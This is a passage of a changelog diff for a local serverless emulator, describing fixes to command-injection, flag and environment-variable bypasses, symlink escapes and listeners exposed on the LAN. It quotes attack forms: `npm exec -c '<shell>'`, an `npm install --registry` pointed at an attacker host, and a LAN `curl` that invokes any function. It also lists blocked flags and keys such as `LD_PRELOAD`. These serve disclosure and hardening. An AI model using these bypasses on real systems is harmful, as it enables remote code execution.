+ from a script name (write `yarn run package`). Every documented form still works
232
+ (`npx serverless package`, `npm run package:local`, `yarn run package`,
233
+ `serverless package --stage dev`, `sls package -c custom.yml`,
234
+ `npx -y serverless@3.38.0 package`); no allowed entry contains a path separator, so membership
235
+ alone still rejects `/bin/sh`, `bash`, `node`, `curl`, `/usr/bin/env` and `./tool`.
236
+ **`packageArgs` was the same hole one key across** — it was `stringArray`-validated (any string,
237
+ any count) and is appended to the argv *without* passing through the tokenizer, so
238
+ `{"packageCommand":"npm","packageArgs":["exec","-c","<shell>"]}` was the identical bypass. It is
239
+ now screened, per element and by index in the error, against the flags that re-point an allowed
240
+ program without changing a positional token — `--node-options` (NODE_OPTIONS under another name),
241
+ `--script-shell`/`--shell`/`--shell-mode` (which binary interprets the script), `--call`,
242
+ `--userconfig`/`--globalconfig`/`--use-yarnrc` (an rc file that can set all of the above),
243
+ `--registry` (npx fetches the CLI when the service has no local copy, and npm reads its own
244
+ config flags from anywhere in the argv), `--prefix`/`--cwd`/`--dir` (another package.json's
245
+ scripts) and node's own
246
+ `--require`/`--eval`/`--print`/`--import`/`--loader`/`--experimental-loader`/`--input-type`,
247
+ compared with dashes and underscores stripped so `--nodeOptions` is the same flag. The same
248
+ screen runs over every token of `packageCommand`. Serverless's short flags are deliberately left
249
+ alone (`-c`, `-p`, `-r` are `--config`, `--package`, `--region` there, and the grammar already
250
+ makes them unreachable as npm/npx options), so `sls package -c custom.yml -p .build` keeps
251
+ working. `packageEnv` (also
252
+ `envRecord`-validated now) rejects the keys that choose a binary before `main()` runs regardless of
253
+ which runner passed — `NODE_OPTIONS`, `NODE_REPL_EXTERNAL_MODULE`, `LD_PRELOAD`, `LD_AUDIT`,
254
+ `LD_LIBRARY_PATH`, `DYLD_INSERT_LIBRARIES`, `DYLD_LIBRARY_PATH` — compared case-insensitively,
255
+ since env lookup is case-insensitive on Windows and `node_options` would be the same bypass one
256
+ keystroke away. Per-service `servicePackaging[*]` overrides answer to both lists, since an override
257
+ is a different value for the same setting and not a way around its validation. **Two scoping
258
+ decisions, stated rather than implied.** The fence sits on the API and *not* on the read path: a
259
+ hand-edited `lss.config.json` and `LSS_PACKAGE_COMMAND` stay unchecked, because they are the
260
+ operator's own shell and anyone who can write either already runs code on this host. And what
261
+ stays expressible is the **project's own build**: `npm run <script>` runs whatever the service's
262
+ `package.json` declares, and `serverless package` reads its `serverless.yml`, plugins included.
263
+ That is code the operator already trusts by pointing LSS at the directory, and forbidding it
264
+ would mean the dashboard could not set a package command at all, which is what the onboarding
265
+ flow is built on. What the fence buys is the drop from "any binary on the host with any argv" to
266
+ "the project's own build, and nothing the caller names".
267
+ - **The loopback bind now covers the listeners that mattered most.** Fencing `index.ts` alone left
268
+ the sharper half of the surface untouched, because LSS opens four kinds of listener and only one
269
+ of them read `LSS_BIND_HOST`. `services/gateway-manager.ts` called `server.listen(port)` with no
270
+ host for **every registered service's API Gateway port and Lambda Invoke API port**; a bare
271
+ `listen(port)` binds the `::` wildcard, so those ports answered on every interface while the
272
+ dashboard sat on loopback. They are raw `http.Server`s that never reach Express — no CORS, no
273
+ origin check — and the invoke handler executes a registered Lambda handler with the request's
274
+ JSON body as its event, resolving the function through the **global** registry, so a single
275
+ `curl -X POST http://<victim>:13001/2015-03-31/functions/<fn>/invocations` from anywhere on the
276
+ LAN ran any function of any service. `engine/backends/self-backend.ts` asked for `'0.0.0.0'`
277
+ outright, publishing the whole unauthenticated AWS data plane (Scan/PutItem, ReceiveMessage,
278
+ GetObject, GetSecretValue) whenever `serverPort` and `selfEngine.port` differed, and
279
+ `dev/dynamo-proxy.ts` did the same for its credential-free DynamoDB pass-through. All four now
280
+ read one value, resolved once in **`src/server/services/bind-host.ts`** — captured at module
281
+ load so listeners opened at boot and listeners opened on a hot reload an hour later cannot
282
+ disagree about how exposed the process is — and the boot warning names the full set it just
283
+ put on the network. Regression tests assert the **bound address of real listeners** for all four
284
+ (`tests/unit/routes/services.test.ts`, `tests/unit/dev/dynamo-proxy.test.ts`), and replay the
285
+ LAN-side payload where the host has an interface to replay it on.
286
+
287
+ ### Fixed
288
+ - **The preparation endpoints could not become a general command runner.** Unlike `/start` above,
289
+ `POST /api/services/install` and `POST /api/services/package` are **new in 1.0** — they were caught
290
+ in review, so no released version ever exposed *them*. That is a statement about these two
291
+ endpoints only: the execution surface itself was not new, it shipped as `/start`, and the "found
292
+ before release" framing previously here understated that. `/install` accepted any absolute
293
+ directory and any command whose first whitespace token was whitelisted — but `node -e "<js>"` and
294
+ `npm exec -- <anything>` pass such a check, and the endpoint answers with the command's output,
295
+ which would have made it an execution *and* exfiltration primitive for anything able to reach the
296
+ port. Both endpoints now confine `servicePath` to the project root, and the install command is
297
+ validated by **shape** — package manager + install verb + flags, no positionals — so those forms
298
+ are unrepresentable rather than merely discouraged; which flags may appear is the next bullet.
299
+ - **The install command's shape check was not sufficient on its own.** Requiring every token after
300
+ the verb to start with `-` treats flags as inert, and they are not: `npm install
301
+ --registry=http://attacker.example` installs that registry's packages and runs their `postinstall`
302
+ scripts, `--userconfig=` points npm at an attacker-written `.npmrc`, and `--prefix=` / `yarn
303
+ --cwd=` / `pnpm --dir=` relocate the install *out of* the directory the project-root fence just
304
+ vetted. Flags are now checked against an **allowlist** of the ones a dependency install
305
+ legitimately needs (`--production`, the lockfile spellings, `--no-audit`/`--no-fund`,
306
+ `--prefer-offline`/`--offline`, `--legacy-peer-deps`, `--force`, `--silent`/`--quiet`, plus
307
+ `--omit=`/`--include=`/`--loglevel=` whose values can only name a dependency group or a log level).
308
+ Anything else — an unknown flag, a short flag, a space-separated value — is a 400. A deny-list
309
+ could not close this class: three package managers keep adding flags, and every new one would be
310
+ permitted by default.
311
+ - **The project-root fence was lexical, so a symlink walked straight through it.** `/install` and
312
+ `/package` compared `path.relative(projectRoot, path.resolve(servicePath))` — pure string work —
313
+ while `statSync` and the spawn that followed resolve symlinks. A link inside the project root
314
+ pointing outside it (`services/orders → /etc`) therefore passed a check that was about the
315
+ spelling of the path rather than about where it lands. Both sides are now `realpathSync`-resolved
316
+ before the comparison, and the resolved real path is what the command runs in, which also narrows
317
+ the check-to-spawn window.
318
+ - **Per-service overrides were unreachable when the config file was not in the project root.** The
319
+ key the dashboard writes is project-root relative (from the scan), while `getRuntimeConfigForService`
320
+ / `getPackageConfigForService` matched a raw `dirname(configPath)`-relative one. With a checkout
321
+ reached through a symlink, or a config loaded from `~`, the two spellings differed and a saved
322
+ override was silently ignored at registration. Both spellings (plus the basename) now resolve
323
+ through one helper.
324
+ - **`installed` in the scan no longer lies in a workspaces monorepo.** It checked the service's own
325
+ `node_modules`, which a hoisted npm/yarn/pnpm workspace package legitimately lacks — every service
326
+ read as uninstalled forever, steering the operator into per-package installs that shadow the
327
+ hoisted tree. The check now walks up to the scanned root.
328
+ - **The UI was never type-checked.** `src/ui/tsconfig.json` extends the root config, which excludes
329
+ `src/ui` — and `exclude` is inherited with paths resolved against the *root* file, so the
330
+ dashboard excluded itself from its own project and `vue-tsc --noEmit` silently checked nothing.
331
+ With that reset, 12 real pre-existing errors surfaced and were fixed: a TreeUI `TreeBadgeTone` →
332
+ `TBadgeTone` rename across 6 components, two unused imports, a `TableRow`/`Record` mismatch, an
333
+ `unknown` in a table slot, and a `ResourceOwnersResponse` fallback missing `collections`.
334
+
8
335
  ## [0.17.0] - 2026-07-18
9
336
 
10
337
  The raw `AWS::ApiGatewayV2::*` support that shipped in 0.16.0 met a real Serverless Framework project and lost: it reduced a hand-authored idiom only, so the shapes `serverless package` actually emits fell through as `no ::Integration for Target "(none)"` and the routes were skipped without ever answering a request. Every one of those shapes now reduces, proven against a committed real packaging snapshot rather than a hand-written fixture. Alongside it, SQS grows **queue-level redrive**: a poison message finally lands in its dead-letter queue instead of being redelivered until retention quietly eats it.